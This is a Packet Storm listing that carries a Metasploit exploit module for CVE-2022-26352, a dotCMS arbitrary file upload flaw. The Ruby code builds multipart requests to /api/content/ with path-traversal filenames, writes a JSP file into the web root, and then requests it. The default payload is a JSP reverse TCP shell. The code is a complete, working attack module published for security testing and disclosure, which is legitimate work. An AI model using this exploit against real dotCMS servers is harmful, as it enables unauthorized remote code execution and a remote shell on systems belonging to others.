dotCMS Shell Upload

Authored by jheysel-r7, Hussein Daher, Shubham Shah | Site metasploit.com

Posted Jun 2, 2022

When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the file down in a temporary directory. In the case of this vulnerability, dotCMS does not sanitize the filename passed in via the multipart request header and thus does not sanitize the temporary file's name. This allows an attacker to use a specially crafted request to POST files to dotCMS via the ContentResource API that gets written outside of the dotCMS temporary directory. In the case of this exploit, an attacker can upload a specially crafted .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.

tags | exploit, remote, root, code execution
advisories | CVE-2022-26352
SHA-256 | 6278f9faf70f24f5e2ce7692ddce577df263982c2d46d57858bd869409412d14 **Download** | **Favorite** | **View**

Related Files

Share This

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DotCMS RCE via Arbitrary File Upload.',
        'Description' => %q{
          When files are uploaded into dotCMS via the content API, but before they become content, dotCMS
writes the
          file down in a temp directory.  In the case of this vulnerability, dotCMS does not sanitize the
filename
          passed in via the multipart request header and thus does not sanitize the temp file's name.  This
allows a
          specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content)  that
get
          written outside of the dotCMS temp directory.  In the case of this exploit, an attacker can upload a
special
          .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
        },
        'Author' => [
          'Shubham Shah',  # Discovery and analysis
          'Hussein Daher', # Discovery and analysis
          'jheysel-r7'     # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-26352'],
          ['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
        ],
        'Privileged' => false,
        'Platform' => %w[linux win],
        'Targets' => [
          [
            'Java Linux',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'linux'
            }
          ],
          [
            'Java Windows',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'win'
            }
          ]
        ],
        'DisclosureDate' => '2022-05-03',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
        },
        'Notes' => {
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(8443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    test_content = Rex::Text.rand_text_alpha(10)
    test_file = "#{test_content}.jsp"
    test_path = "../../#{test_file}"
    uuid = Faker::Internet.uuid

    jsp = <<~EOS
      <%@ page import=\"java.io.File\" %>
      <%
        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
        jsp.delete();
      %>
      #{uuid}
    EOS

    vars_form_data = [
      {
        'name' => 'name',
        'data' => jsp,
        'encoding' => nil,
        'filename' => test_path,
        'mime_type' => 'text/plain'
      }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/content/'),
      'vars_form_data' => vars_form_data
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, test_file.to_s)
    )

    if res && res.body.include?(uuid)
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def write_jsp_payload
    jsp_path = "../../#{jsp_filename}"
    print_status('Writing JSP payload')
    vars_form_data = [
      {
        'name' => 'name',
        'data' => payload.encoded,
        'encoding' => nil,
        'filename' => jsp_path,
        'mime_type' => 'text/plain'
      }
    ]

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/content/'),
      'vars_form_data' => vars_form_data
    )

    unless res&.code == 500
      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
    end

    register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
    print_good('Successfully wrote JSP payload')
  end

  def execute_jsp_payload
    jsp_uri = normalize_uri(target_uri.path, jsp_filename)
    print_status('Executing JSP payload')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => jsp_uri
    )

    unless res&.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
    end
    print_good('Successfully executed JSP payload')
  end

  def exploit
    write_jsp_payload
    execute_jsp_payload
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
  end
end
```

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec


Follow us on Twitter


Subscribe to an RSS Feed